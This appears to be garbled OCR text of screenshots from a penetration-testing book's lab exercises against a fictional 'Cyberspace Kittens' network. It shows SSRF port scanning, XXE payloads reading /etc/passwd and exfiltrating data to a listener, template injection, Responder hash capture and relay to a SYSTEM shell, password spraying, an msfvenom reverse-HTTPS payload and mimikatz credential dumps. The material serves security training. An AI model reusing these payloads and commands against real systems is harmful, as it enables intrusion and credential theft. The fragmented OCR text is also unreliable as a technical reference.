4 bytes from 160.100. icmp seq=1 ttl=62 time=123

00:4 x 4 bytes from 100 icmp _seq=2 ttl=62 time=117
bytes from 100. icmp ttl=62 time=117

bytes from 100. icmp_se ttl=62 time=122

x bytes from .100. : icmp time=129

bytes from 100.160.2: icmp ttl=62 time=120

bytes from 100.100. icmp_s ttl=62 time=117

o R R R R R

10.100.100.2 ping statistics ---
packets transmitted, 7 received, 0% p. et loss, time 6013ms
rtt min/avg/max/mdev = 117.607/121.235/129.670/3.931 ms
:~# traceroute 10.100.100.2

traceroute to 10.100.100.2 (10.100.100.2), 30 hops max, 60 byte packets
1 172.27.224.1 (172.27.224.1) 72.786 ms 113.011 ms 112,819 ms

2 172.27.224.41 (172.27.224.41) 112.793 ms 148.381 ms 184.215 ms
3 10.100.100.2 (10.100.100.2) 184.209 ms 184.103 ms 184.087 ms
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You can define one or more payload sets. The number of payload
sets depends on the attack type defined in the Positions tab. Various
payload types are available for each payload set, and each payload
type can be customized in different ways.

Payload set: (1 B Payload count: 101
Payload type: | Numbers B Request count: 101

Payload Options [Numbers]

This payload type generates numeric payloads within a given range and in a specified
format.

Number range

Type: @ Sequential O Random

From: (28000

To: 28100

Step:

How many:
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ac ave olumns

Target | Positions | Payloads | Options

Filter: Showing all items

Request A| Payload | status | Error | Timeout ‘ Length
5 28004 200 ] O 429
6 28005 200 o O 431
7 28006 200 =] O 431
8 28007 200 @] 0O 431
9 28008 200 a =] 435
10 28009 200 =] [} 433
11 28010 200 D] (@] 429
12 28011 200 (D] (] 431
13 28012 200 o O 431
14 28013 200 0] 2] 429
15 28014 200 ® =] 429
16 28015 200 (3] [m] 429
17 28016 200 7] O 433
18 [28017 ] 200 (@] g 7560
19 28018 200 = 2] 433
20 28019 200 @ =] 431
21 28020 200 o O 429

E Params | Headers | Hex

BT /sarfruser=&comment=&link=http://127.0.0.1:28017 HTTP|
ost: chat:3000

K1

ser-agent: Mozilla/5.0 (x11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/5
pocept: text/html,application/xhtml+xml,application/xml;qg=0.9,*/*;g=0.8
fccept-Language: en-US,en;g=0.5
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0 9| @ | chat:3000/ssrf7user=&comment=&link=http://127.0.0.1:28017
[ Most Visitedv [flOffensive Security "\ Kali Linux "\, Kali Docs "\ Kali Tools = Exploit-DB WAircrack-ng lKali
mongod LethalNodeJS

List all commands | Replica set status r

Commands: replSetGetStatus Ewevsmus{ listDatabases top replSetGetConfig features hostinfo IsMaster bull

db version v3.2.18

git hash: 4clbae566c0c00f996a2febl6febfa4936ecaf6f
OpenSSL version: OpenSSL 1.0.2g 1 Mar 2016
uptime: 5537491 seconds

overview (only reported If can acquire read lock quickly)
time to get readlock: Oms

# Cursors: 0

replication:

master: 0
slave: ©

clients

websvr| 111406 | X { locks: {}, waltingForLock: false, lockStats: { Global: { acquireCount: {r: 1,R: 1}}

dbtop (occurrences|percent of elapsed)

Log
2017-12-17T17:45:51.603-0800 I CONTROL [initandlisten] MongoDB starting : pide1174 port=27017 dbpathe/var/lib
.603-0800 I CONTROL [initandlisten) db version v3.2.18

.603-0800 I CONTROL [initandlisten] git version: 4clbaeS566c0c00f996a2febl6febf84936ecaf6f
603-0800 I CONTROL [initandlisten] OpenSSL version: OpenSSL 1.0.2g 1 Mar 2016

603-0800 I CONTROL [initandlisten] allocator: tcmalloc
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€ ) ® | chat:3000/ssrf?user=&comment=_&link=http://127.0.0.1:28017/serverStatus ?text=1
[51 Most Visitedv ] Offensive Security "\ Kali Linux "\ Kali Docs "\ Kali Tools  Exploit-DB WyAircrack-ng gl Kali Forums “\ NetHunter

{ "host" : "LethalNode]S", "advisoryHostFQDNs" : [], "version" : "3.2.18", "process" : "mongod", "pid" : { "$number
"5537517113" }, "uptimeEstimate" : 43493, "localTime" : { "$date" : "2018-02-19T19:57:48.388-0800" }, "asserts" :
“"connections" : { "current” : 3, "available" : 51197, "totalCreated" : { "$numberLong" : "9" } }, "extra_info" : { "nots
200 }, "globalLock" : { "totalTime" : { "snurfberLong" : "5537516998000" }, "currentQueue" : { "total" : 0, "reade
}. "locks" : { "Global" : { "acquireCount" : * : { "$numberLong" : "49990" }, "w" : { "$numberLong" : "5" }, "R"
"acquireCount” : { "r" : { "$numberLong" : “24988" }. "R": { "$numberLong" : "2" }, "W" : { "$numberLong" : "5" }
"Metadata" : { "acquireCount" : { "w" : { "$numberLong" : "1" } } } }, "network" : { "bytesIn" : { "$numberLong" :
"$numberLong" : "5295" } }, "opcounters" : { "insert" : 0, "query" : 4, "update" : 0, "delete" : 0, "getmore" : 0, "comy]
"delete" : 0, "getmore" : 0, "command" : 0 }, "storageEngine" : { "name" : "wiredTiger", "supportsCommittedReads"
“"current allocated bytes" : 62232600, "heap_size" : 68034560 }, "tcmalloc" : { "pageheap_free bytes" : 2441216, "}
"$numberLong" : "1073741824" }, "current total thread cache bytes" : 2666976, "total free bytes" : 3360744, "ce
"thread_cache free bytes" : 2666976, "aggressive_ memory decommit" : 0, "formattedString" : "-—--—-eeeremereereeeemn
application\nMALLOC: + 2441216 ( 2.3 MiB) Bytes in page heap freelistntMALLOC: + 693768 ( 0.7 MiB) Bytes in (
freelistnMALLOC: + 2666976 ( 2.5 MiB) Bytes in thread cache freelists\nMALLOC: + 1224864 ( 1.2 MiB) Bytes in
memory used (physical + swap)\nMALLOC: + 0 ( 0.0 MiB) Bytes released to OS (aka unmapped)\nMALLOC:
\nMALLOC: 356 Spans in use\nMALLOC: 16 Thread heaps in use\nMALLOC: 8192 Tcmalloc page size\n:
the OS (via madvise()).\nBytes released to the OS take up virtual address space but no physical memory.\n" } }, "wi
queued" : 0, "merge work units currently queued" : 0, "rows merged in an LSM tree" : 0, "sleep for LSM checkpoin!
queued" : 0, "tree maintenance operations discarded" : 0, "tree maintenance operations executed" : 0, "tree mainte:
"current work queue length" : 0, "maximum work queue length" : 0, "number of allocation state races" : 0, "numbe:
"number of times operation allocation failed" : 0, "number of times worker found no work" : 0, "total allocations" :
search calls" : "total update calls": 0 } “block manager" : { "blocks pre-loaded" : 6, "b]ocks read" 25, "blocks

. a o oad" - 0O "o ho" - o Nace
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(- ) @ | chat:3000/accounts.txt

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon: /usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin: /bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man: /usr/sbhin/nologin
lp:x:7:7:1p:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin

Most Visitedv [flOffensive Security " Kali Linux S Kali Docs
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cokexy csk_obf.exe
Portable Executable Info ©
Portable Executable Info ©
Header
Target Machine Intel 386 or later processors and compatible proq Header
Compilation Timestamp ~ 2018-03-07 06:39:48 Target Machine Intel 386 or later processors and compatible
Entry Point 7187 Compilation Timestamp ~ 2018-03-07 06:41:30
Contained Sections 4 Entry Point 7875
Sections Contained Sections 4
Name Virtual Address Virtual Size Raw Size Sections
dext 4096 7258 e Name Virtual Address Virtual Size Raw Siz
rdata 86016 25810 26112 o 4096 82619 82944
tex
.data 114688 5496 3072
.rdata 90112 25700 26112
reloc 122880 4464 4608
.data 118784 5912 3072
Imports
KERNEL32dIl .reloc 126976 4552 4608
B USER32dIl i
GetMessageA
ToAscii KERNEL324dll
SetWindowsHookExA = ws2 32dIl
CallNextHookEx -
getaddrinfo
B ws2.324l g
getaddrinfo send
socket WSACleanup
snd WSAStartup
WSACleanup ot
WSAStartup
connect closesocket
closesocket
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[+] Tplmap identified the following injection point:

GET parameter: user
Engine: Jade
Injection: \n= *\n
Context: text

0S: linux
Technique: render
Capabilities:

Shell command execution: no

Bind and reverse shell: no

File write: ok

File read: ok

Code evaluation: ok, javascript code

[+] Rerun tplmap providing one of the following options:
--upload LOCAL REMOTE Upload files to the server

--download REMOTE LOCAL Download remote files
root@THP-LETHAL: /opt/tplmap# ./tplmap.py -u "http://chat:3000/ti?user=*&comment=asdfasdf&link="f]
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//Testing dynamic routing. PLEASE DISABLE OR REMOVE IN PRODUCTION ENVIRONM
app.get('/drouting', function(req,res){
defaultPath = '/opt/web/chatSupportSystemf/views/';
if(req.query.filename){
filePath = defaultPath + req.query.filename;
fs.readFile(filePath, 'utf8', function(err, data) {
if (err) {
console.log(err)
res.send('broke');

else{

try{
res.send(pug.render(data));

1
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e13d0e84fa8320e310537c7fdcd619170bfdb20214baaee13daad90a175¢13c0

(® One engine detected this file

©13d0e84fa8320e310537¢7fdc4619170bfdb20214baaee13daad90a175¢13c0
csk_obf_64 exe

6abis  assembly  peexe

Community
Score

DETECTION DETAILS COMMUNITY

CrowdStrike Falcon (@ Malicious_confidence_80% (W) Acronis
Ad-Aware © Undetected AegisLab
AhnLab-v3 © Undetected Alibaba
ALYac © Undetected Antiy-AVL
Arcabit © Undetected Avast
Avast-Mobile © Undetected AVG

Avira (no cloud) @ Undetected Babable
Baidu © Undetected BitDefender

135KB 2018-12-26 16:11:20 UTC
Size 6 months ago

® ® © ® ©® ® ® ®

Undetected

Undetected

Undetected

Undetected

Undetected

Undetected

Undetected

Undetected

o
EXE
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E Responder-Session.log
E BashBunny /media/root/BashBunny/loot/quickcreds/Tests-MBP-2

8.courier.push.apple.com
01/18/2018 05:52:16 AM - [*] [DNS] Poisoned answer sent to: 172.16.64.10

01/18/2018 ©5:52:49 AM - [HTTP] NTLMv2 Client : 172.16.64.10
01/18/2018 05:52:49 AM - [HTTP] NTLMv2 Username : \admin

01/18/2018 ©5:52:49 AM - [HTTP] NTLMv2 Hash : admin:::
5877ac01dbe36ccl:51C17AB183FD811C17AB187B1C17AB18:0101000000000000808EAAOF22
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Default gateway reported as 10.100.100.1
Use the above reported default gateway? [Y/n]?

Internet interface reported as etho
Use the above reported Internet interface?

Please connect the Bash Bunny to this computer.

[Checking]
Detected Bash Bunny on interface ethl
Use the above detected Bash Bunny interface?

Settings saved.

Saved Settings: Share Internet connection from ethe
to Bash Bunny at ethl through default gateway 10.100.100.1

[Clonnect using saved settings
[G]Juided setup (recommended)
[M]anual setup

[A]Jdvanced IP settings

[Qluit

Detecting Bash Bunny found.

# ssh root@172.16.64.1
The authenticity of host '172.16.64.1 (172.16.64.1)' can't be established.
ECDSA key fingerprint is SHA256:dZpS5mhuwMuAiQOW1H58sqGfadSbLSEFHzZPXCBvO6UI
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opt/wifite2# python Wifite.py

itomated wi auditor
1D
PID
10
ry killi these pr
[+] looking for
PHY Interface Driver Chipset
phy© Ralink Technology, Corp.
[+] enabling on
NUM ESSID CH ENCR POWER WPS? CLIENT

RT2770
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poisontap.cookies.log =
Open & Save = @ @
1_v D BashBunny /media/root/BashBunny/payloads/switch2

raccept-language': ‘en-US,en;q=0.5",

‘accept-encoding': 'gzip, deflate',

referer: 'http://bing.com/',

connection: 'keep-alive' }
P>> Inject Backdoor HTML reverse ws 1337
Request: amazon.com/PoisonTap
{ host: 'amazon.com',

‘user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.13; rv:57.0) Gecko/20100101 Firefox/57.0',

accept: '*/*',

'accept-language': 'en-US,en;q=6.5",

‘accept-encoding': 'gzip, deflate',

referer: 'http://bing.com/',

cookie: 'session-id=132-64384-1434344; session-id-time=202343432011; ubi-
Mmain=135-97234349-108234342; session-token=hxe+5MFhdvhIkf7m/
se0GUMdYVkOTjXFDLKIFLKSDIFLKIDFjhekjhFHIdggherhkjdftUy3kjbfksoNMmw7iH/
c2L4bJHheru378fdoujE5+iteoTnDHIKkjenrqwerljIFLKLKjdf/qsRgY4LPvZz1BlO7mTT1+/DLIMxS268SF92rq0jIKCG3IfH;
x-wl-uid=1p8+GAc73fdljk379idjfh4rCr2uGmeszFasdfchjkHeriuYTewZaFD=',

connection: ‘'keep-alive' } o
>> Inject Backdoor HTML reverse ws 1337
Request: msn.com/PoisonTap
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[ [ 11

- POST /xxe.php HTTP/1.1
Prg--:. % 100.220
eitsts ek e g fcar
sl lodnn Loy b e
Accept-Encoding: gsip, defiate

L <IDOC] ornection: close

Upgrade- Insecure-Requests: 1

content-Type: application/x-www:form-urlencoded
content-Length: 160

data=<rxml versions*l,0%7><\p

- |

Gecko

1/ xhtml4xml,application/xml g

PPN thp [<IMLEMGFT thy
ject ( [0] *heep://10.100.100.9/payload.dtd=> %ded;] ><thp><err

20100101 Firefox/52.0
0.9,4/%1qu0.8

\KITITY % drd SYSTH
nAVIB</error></thp

root@THP-LETHA
File Edit View Search Terminal Help

# nc -1 -p 888t
GET /collect=cm9vdDp40jA

)mdhbWVz0191c3IvZ2FtZXM6L3

vc2Ipbi9ub2xvZ2luCr

1Dpyb296019yb29001i91iaW
jE6ZGF1bwW9u0i91c3Ivc2IpbjovdXNyL3Niaw4vbm9sb2dp

6L 2¢i92YmluL25vbG9nawdKc31z0ng6Mzoz0nNSczovZ(

21uCnN5bmM6eD080j YINTMOONNSbmM6L2IpbjovYmLuL3NS
19zYmluL25vbG9nak
3Zhci9) YWNoZS9tYW46L3Vzci9zYmluL25vbGInawdKbHAGeDO3
vbC9s5c6GQ6L3VZci9zYmluL25vbGInaw4KbWFpbDp40jg60DptYY
XNyL3Niaw4vbm9sb2dpbgpuZXdz0Ong60To50m51d3M6L3Zhci92¢69vbCIuZXdz0191¢c31
MDoxMDp1dWNw01i92YXI

eee

FzaApkYwWVtb246eDox0

W46eDoy0jI6Ymlu0i9
/20i91c3Ivc2Ipbigub
MKZ2FtZXM6eDo10jY
uONg6NjoxMjptYWA6L
jC6bHA6L3Zhc192¢G
$0192YXIvbwFpbDovd

dXVjcDovdXNyL

WTTP/1.1 200 OF
Date: Tue, 13 Mar 2018 03:48:53
Server: Apache/2.4.18 (Ubuntu)

vary: Accept-Encoding
content-Length: 3903

connection: close

Content-Type: text/html; charmetsuTs-8

html

<form action=+xxe.php* method=*post"
input type="hidden* name=*data® value='<7xml version="1

IDOCTYPK thp [ <(MLEMIIFT thp ANY>< KNTITY book

Universes>] ><thp>Hack The abook;</thp»'

br><input value="Hack 'The

ML® type=*gubmit®

torm

br
boWarning</b>:

simplexal_load string (http://10.100.100.9:8888/collect=c:
b290019yb290049 iawd vYnFzaApkYWVED24 6 eDOXO] B6 ZGF1bWIu01914
MyLINiawivbno sb2dpbgpiawd 6 eDoyo) I6Ymluoi9 1awe 6LIVzCidzys
©3120ng§MZ0ZONNS 0ZOVZGV20i9103Ive2Ipbisub2xva2 luCnNSbuME
NSDEMEL2IpbjovYmluLINSbENKZIF tZXNE €D010] YWORAhbWVZO191c3
©192¥Yn1uL25vbGInaWd KbWFUODg 6N OXM) pEYWE 613 Zhcid ] YWNOZE9 b
1uL25vbGInaws KbHAG eD030) cEbHA6LIZhcidzcGIvbCIscaasLivzei]
AW KbWFPbDP4 03 §60DP LYWL 80192 YXIVDWEPbDOVAXNY LIN1 awd vbmd

960705085 13M6 LI Zhc1 920G vBCIuZXAZO19 103 Ivo2Ipbidublxval
MDOXMDP1dWNWO192YXIve3BVb2wvdXV]) cDOVAXNYL3Niawd vbad sb2dpY
8203 BzOnBybIh50191awé 6 L3VZCi9 zYRluL25vbGI nawd KAIA3 LWRhAGY
dlctzGrOYTovdaryL3didzovAXNy LINiawd vbad ab2dpbgp i YWNIAXAG
NrdXA6L3zhoi9 iYWNrdxszoi91c3 Ive2JIpbidub2xva2lucmxpcisend
AWSnIExpcIQgTWFUYWAlc) ovdaryL2xpclQ6LIVzci9zyaluL25vbasn
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opt/Spray# ./spray.sh -owa https://mail.cyberspacekittens.com/
users.txt passwords.txt 1 35 post-request.txt

Spray 2.1 the Password Sprayer by Jacob Wilkin(Greenwolf)

12:06:00 Spraying with password: Users Username
https://mail.cvberspacekittens.com/owa/auth.owa
https://mail.cyberspacekittens.com/owa/auth.owa
12:07:01 Spraying with password: Spring2018
56477 test%test

56477 peter%speter

56477 demo%demo

56477 test%test

56477 test%Spring2018

22637 petersSpring2018
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THP-LETHAL: /opt/ruler# ruler --domain cyberspacekittens.com --users ./users.txt --passwords ./passwords.txt
Starting bruteforce

Trying to Autodiscover domain

Success: admin@cyberspacekittens.com:Spring2018
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< C  ® 10.100.100.222:8080/script

Jenkins
&v New Item
& ° Script Console
eople
~> Build History Type in an arbitrary Groovy script and execute it on the server. Useful for trouble-sho|

p Manage Jenkins println(Jenkins.instance.pluginManager.plugins)

All the classes from all the plugins are visible. jenkins.*, jenkins.model. *, huqd

4. Credentials

def sout = new StringBuffer(), serr = new StringBuffer()
2 def proc = 'cmd /c dir'.execute()
proc.consumeProcessOutput (sout, serr)
Blilld Guetle o proc.waitForOrKill(1000)

No builds in the queue. println "out&gt; $sout errsgt; $serr"

Build Executor Status -

1 Idle

2 Idl
e Result

out&gt; Volume in drive C has no label.
Volume Serial Number is EE53-D46F

Directory of C:\Users\neil.pawstrong\Downloads
03/28/2018 12:09 AM <DIR>

03/28/2018 12:09 AM <DIR> .o
02/27/2018 10:49 PM 1,129,816 ChromeSetup.exe
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root@THP-LETHAL: /opt/ruler# ruler --email admin@cyberspacekittens.com abk dump --output /tmp/gal.txt

Password:

+] Found cached Autodiscover record. Using this (use --nocache to force new lookup)
Found 2851 entries in the GAL. Dumping...

Dumping
Dumping
Dumping
Dumping
Dumping

100/2851
200/2851
300/2851
400/2851
500/2851
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NBT-NS, LLMNR & MDNS Responder 2.3.3.6

Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C

[+] Poisoners:

LLMNR [ON]
NBT-NS [ON]
DNS/MDNS [ON]

[*] [LLMNR] Poisoned answer sent to 10.100.100.220 for name |cyberspacekittenssecretdrive
[SMBv2] NTLMv2-SSP Client 1 1

[SMBV NTLMv2-SSP Username : BERSPACEKITTE 2z i
[SMBv2] NTLMv2-SSP Hash - iri YBE ACEKI
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o ® = | £, “Waiting for response fr X ‘E Start

X (@ cyberspacekittenssecretdrive

O Hmmm...can't reach this page

o —

° Windows Security
Microsoft Edge

The server cyberspacekittenssecretdrive is asking for your
user name and password. The server reports that it is from
Authentication Required.

Warning: Your user name and password will be sent using
basic authentication on a connection that isn't secure.

buzz

D Remember my credentials

OK
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[*] [NBT-NS] Poisoned answer sent to 10.100.100.99 for name WORKGROUP (service: Local Master Browser)
[FINGER] 0S Version : Windows 6.1

[FINGER] Client Version : Samba 4.4.16

[HTTP] Sending BASIC authentication request to 10.1600.100.220

[HTTP] GET request from: 10.100.100.220 URL:

[HTTP] Host : cyberspacekittenssecretdrive

[HTTP] Basic Client : 10.100.1600.220

[HTTP] Basic Username
[HTTP] Basic Password : supersecretpassword
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opt/Responder/tools# python ./MultiRelay.py -t 10.100.100.230

Responder MultiRelay 2.0 NTLMv1l/2 Relay

Relaying credentials for these users:

['ALL']

Retrieving information for 10.100,1%0.230...
SMB signing: False

0s

version: 'indows 7 Enterprise 7601 Service Pack 1'

ostname: 'CSK-LAB'

Par

[+]
[+]
[+]
[+]
[+]
[+]
[+]

t of the 'CYBERSPACEKITTE' domain

Setting up HTTP relay with SMB challenge: al0d86567d6cf545

Received NTLMv2 hash from: 10.100.100.220 None

Username: buzz.clawdrin is whitelisted, forwarding credentials.

SMB Session Auth sent.

Looks good, buzz.clawdrin has admin rights on C$.

Authenticated.

Dropping into Responder's interactive shell, type "exit" to terminate

Any other command than that will be run as SYSTEM on the target.

Connected to 10.100.100.230 as LocalSystem.
C:\Windows\system32\:#ipconfig

Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix

Link-local IPv6 Address . . . . . : fe80::dd69:37f3:a36f:20ef%11
1Pva. AddTess. « w = % = = & = s = & 19.106.160.230

SUBNEEIMask o v o v % s 5 5 & w 5 255.255.255.08

-u ALL
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ST /xxe.php HITE/1.1
at: 127.0.0.1
ser-Agent: ¥ozilla/5.0 (x11; Linux x86_4: rv:52.0) Gecko/20100101 Firefox/52.0

ccept: text/html,application/zhtml+xml,application/xm
Accept-Language: en-uUS,en;q=0.5
ccept-Encoding: gzip, deflate
eferer: http://127.0.0.1/xxe.php
kie: _ga=Gal.1.1867591389.1518067464;

Ofcdatatie

nnection: close

pgrade- Insecure-Requests: 1

content-Type: application/x-www-form-urlencoded
content- Length: 136

SYSTEM “file:

:q=0.9,+/+:q=0.8

EEFSESSION=d13d25e2a005737cdc20ccf2328cadd8aa5F06447d1b4fab82df580c070b1b5cedeas
ebaeB651cefOb7cataBd52e5087d11e7df 789£56e7078bcbd396a0b4e2334FABFS82A67373I68T7792¢

data=<?xml version=+1.0% ?><IDOCTYPE thp [ <IELEMENT thp ANY><{ENTITY book
//etc/passwd">] ><thp>Hack The \26book\]l</!hp)|

HTTP/1.1 200 oK
Date: Tue, 20 Feb 2018 05:06:36 GMr
Server: Apache/2.4.29 (Debian)
vary: Accept-Encoding
Content-Length: 3643
Connection: close
Content-Type: text/htm

charset=uTK-8
<html>

<form action=*xxe.php* method="pout">
<input type=*hidden* name="data" values'<zxml version
<\BLEMENT thp ANY><\KNTITY book *Universev>]><thp>Hac
<br><input value="Hack The XML" type="submit®>
</torm>

<hl>XML POST Processing</hl>

<h3>Input</hi>

<p>&lt;?xml version=&quot;1.0&qguot; ?&gt;&lt; IDOCTYPE
ANY&gt; &1t; IENTITY book SYSTEM
&quot;file:///etc/passwdiquot; &gt;] &gt; &lt; thpigt; Hac)
&amp; bool 1t;/thpégt; </p>

<h3>output</h3>

SimpleXMLElement Object

(

[0] => Mack The root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon: /usr/sbin: /usr/sbin/nologin
bin:x:2:2:bin: /bin: /usr/sbin/nologin
sys:x:3:3:eys: /dev: /usr/sbin/nologin
sync:x:4:65534 :syne: /bin: /bin/sync
:/uexr/sbin/nologin
an: /var/cache/man: /usr/sbin/nologin
:1p: /var/spool/1pd: /usr/sbin/nologin
mail:x:8:8:mail:/var/mail: /usr/sbin/nologin
news:x:9:9:news: /var/spool/news: /usr/sbin/nologin
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User Permissions

Search By Username/Group (use '%' as wildcard)
(NoBefauitiGroup %) Search/Refresh |
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<?xml version=»1.0» encoding=»1SO-8859-1»?> <?xml version=»1.0» encoding=»utf-8»?>
<Prod>

<Type>Book</type> <name>THP</name> <!DOCTYPE test [

<id>100</id> <IENTITY xxe SYSTEM «file:///etc/passwd»>
</Prod> 1>

<XXX>&IXXE; < /XXX>
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LANTurtle

PS de la victime
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Original XML File Malicious XML

<?xml version="1.0" ?> <?xml version="1.0" ?>

<IDOCTYPE thp [ <IDOCTYPE thp [

<!ELEMENT thp ANY> <!ELEMENT thp ANY>

<IENTITY book “Universe”> <IENTITY book SYSTEM “file:///etc/passwd” >
1> 1>

<thp>Hack The &book;</thp> <thp>Hack The &book;</thp>
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Main Menu
c=u /X)) (N
/__\/ LAN TURTLE \/__ \_
uu by Hak5 uu

Modules Module configuration
About

Help

Exit
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Username Group

lanturtle No Default Group
Local Password:
Select IP Addressing :

Access Control
Select addressing method:

Allow Access To these Networks:

Allow Access From:
Allow Access From:
VPN Gateway
Configure VPN Gateway:

DMZ settings
Configure DMZ IP address:

openvpn No Default Group
redteam ~ No Default Group

New Username: NNo Default Group

Allow
More Deny
Admin Auto- Delete
Settings login Access
4 Hide

( Change Password )
© Use Dynamic  Use Static

© Use NAT Use routing

List subnets in network/ nbits form
all server-side private subnets
all other VPN clients

©ONo Yes

©ONo Yes
3 Show v
B Show
@ Show
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00t@THP-LETHAL:~# msfvenom -p windows/meterpreter/reverse https LHOST=10.100.100.9 LPORT=8080 -f exe > badware.exe
o platform was selected, choosing Msf::Module::Platform::Windows from the payload

o Arch selected, selecting Arch: x86 from the payload

o encoder or badchars specified, outputting raw payload

ayload size: 586 bytes

inal size of exe file: 73802 bytes

oot@THP-LETHAL:~# python3 ./generatelenkinsExploit.py -e badware.exe

00t@THP-LETHAL:~# python3 ./generatelenkinsExploit.py -p http://10.100.100.9/badware.exe.encrypted > badware.html
00t@THP-LETHAL:~# mv badware.html /var/www/html/

oot*YHP-lEYMAL:~§_2V badware.exe.encrypted /var/www/html/
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[*] Running Invoke-AllChecks

[*] Checking if user is in a local group with administrative privileges...
User is in a local group that grants administrative privileges
[+] Run a BypassUAC attack to elevate privileges to admin.

[*] Checking for unquoted service paths...

ServiceName
Path
ModifiablePath

WavesSysSvc

C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe

@{ModifiablePath=C:\; IdentityReference=NT AUTHORITY\Authenticated Users
Permissions=AppendData/AddSubdirectory}

StartName LocalSystem

AbuseFunction Write-ServiceBinary -Name 'WavesSysSvc' -Path <HijackPath>

CanRestart False

ServiceName WavesSysSvc

Path C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe

ModifiablePath @{ModifiablePath=C:\; IdentityReference=NT AUTHORITY\Authenticated Users; Permi
StartName LocalSystem

AbuseFunction Write-ServiceBinary -Name 'WavesSysSvc' -Path <HijackPath>

CanRestart False

[*] Checking service executable and argument permissions...

ServiceName
Path

ModifiableFile
ModifiableFilePermissions

: WavesSysSvc
C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe
C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe
{WriteOowner, Delete, WriteAttributes, Synchronize...}

ModifiableFileIdentityReference Everyone

StartName LocalSystem

AbuseFunction Install-ServiceBinary -Name 'WavesSysSvc
CanRestart False
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OOtOTHP-LETHAL: /opt/Windows-Exploit-Suggester# python ./windows-exploit-suggester.py -i ./windows.txt -d 2018-03-21-mssb.xls|
*] initiating winsploit version 3.3...

*] database file detected as xls or xlsx based on extension

*] attempting to read from the systeminfo input file

+] systeminfo input file read successfully (ascii)

*] querying database file for potential vulnerabilities

*] comparing the 14 hotfix(es) against the 157 potential bulletins(s) with a database of 137 known exploits

*] there are now 104 remaining vulns

+] [E] exploitdb PoC, [M] Metasploit module, [*] missing bulletin

+] windows version identified as 'Windows 1@ 32-bit'

E] MS16-129: Cumulative Security Update for Microsoft Edge (3199657) - Critical

b | https://www.exploit-db.com/exploits/460990/ -- Microsoft Edge (Windows 10) - ‘'chakra.dll' Info Leak / Type Confusion Rem|
xecution

* https://github.com/theori-io/chakra-2016-11

M] MS16-075: Security Update for Windows SMB Server (3164038) - Important

J https://github.com/foxglovesec/RottenPotato

*] https://github.com/Kevin-Robertson/Tater

“] https://bugs.chromium.org/p/project-zero/issues/detail?id=222 -- Windows: Local WebDAV NTLM Reflection Elevation of Pri|
*] https://foxglovesecurity.com/2016/01/16/hot-potato/ -- Hot Potato - Windows Privilege Escalation
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Empire: agents) > interact DHBMTZKW
Empire: ) > mimikatz
Empire: ) =

ob started: 3EKM7D

ostname: neil.cyberspacekittens.local / S-1-5-21-1457346524-2954082059-2816622194

CHEHR mimikatz 2.1.1 (x64) built on Nov 12 2017 15:32:00

N ##. "A La Vie, A L'Amour" - (oe.eo)

## |/ \ ## /¥¥* Benjamin DELPY ‘"gentilkiwi® ( benjamin@gentilkiwi.com )

## O\ /) ## > http://blog.gentilkiwi.com/mimikatz

‘## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
| EHEHE > http://pingcastle.com / http://mysmartlogon.com *¥k /

imikatz(powershell) # sekurlsa::logonpasswords

uthentication Id : © ; 109940 (00000000:0001ad74)

bession : Interactive from 1

ser Name : neil.pawstrong

omain : CYBERSPACEKITTE

ogon Server : CSK-DC

ogon Time : 2/23/2018 8:11:14 PM

bID : 5-1-5-21-1457346524-2954082059-2816622194-1104
msv

[00000003] Primary
* Username : neil.pawstrong
Domain : CYBERSPACEKITTE

+
* NTLM : e5accc66937485a521e8eclob5fbebba
+ SHA1 : 62e26f3caf26ae2acaf4c2a71279acael6b27b9%e
* DPAPI : 290e331d8f2a939a46bdfeb2fcf50a8b
tspkg
wdigest
* Username : neil.pawstrong
* Domain : CYBERSPACEKITTE
* Password : (null)
kerberos
+ Username : neil.pawstrong
* Domain : CYBERSPACEKITTENS.LOCAL

* Password : (null)
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(Empire: ) > shell rundl132.exe user32.dl1l,LockWorkStation
(Empire: ) > mimikatz

Job started: DMFC6G

Hostname: neil.cyberspacekittens.local / S-1-5-21-1457346524-295408

HHERE mimikatz 2.1.1 (x64) built on Nov 12 2017 15:32:00

J#HE " ##. "A La Vie, A L'Amour" - (oe.eo)

## / \ ## /*** Benjamin DELPY “gentilkiwi® ( benjamin@gentilkiwi.

#H O\ [ ## > http://blog.gentilkiwi.com/mimikatz

"## v O#HE Vincent LE TOUX ( vincent.letoux@gmail
\HHERE > http://pingcastle.com / http://mysmartlogon.com

imikatz(powershell) # sekurlsa::logonpasswords

puthentication Id : © ; 134178 (00000000:00020c22)

Bession : Interactive from 1

ser Name : neil.pawstrong

omain : CYBERSPACEKITTE

Eogon Server : CSK-DC

ogon Time : 2/24/2018 7:08:20 PM

51D : S-1-5-21-1457346524-2954082059-2816622194-1104
msv

[00000003] Primary
* Username : neil.pawstrong

* Domain : CYBERSPACEKITTE
* NTLM : e5accc66937485a521e8eclOb5fbebba
* SHA1 : 62e26f3caf26ae2acaf4c2a7l279acael6b27b9%e
* DPAPI : 290e331d8f2a939a46bdfeb2fcf50a8b
tspkg
wdigest
* Username :|nell.pawstrong
* Domain : |CYBERSPACEKITTE

* Password :|.wertSDFG.
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(Empire: > interact 41V8NLGW
(Empire: ) > scriptimport /opt/mimikittenz/Invoke-mimikittenz.psl
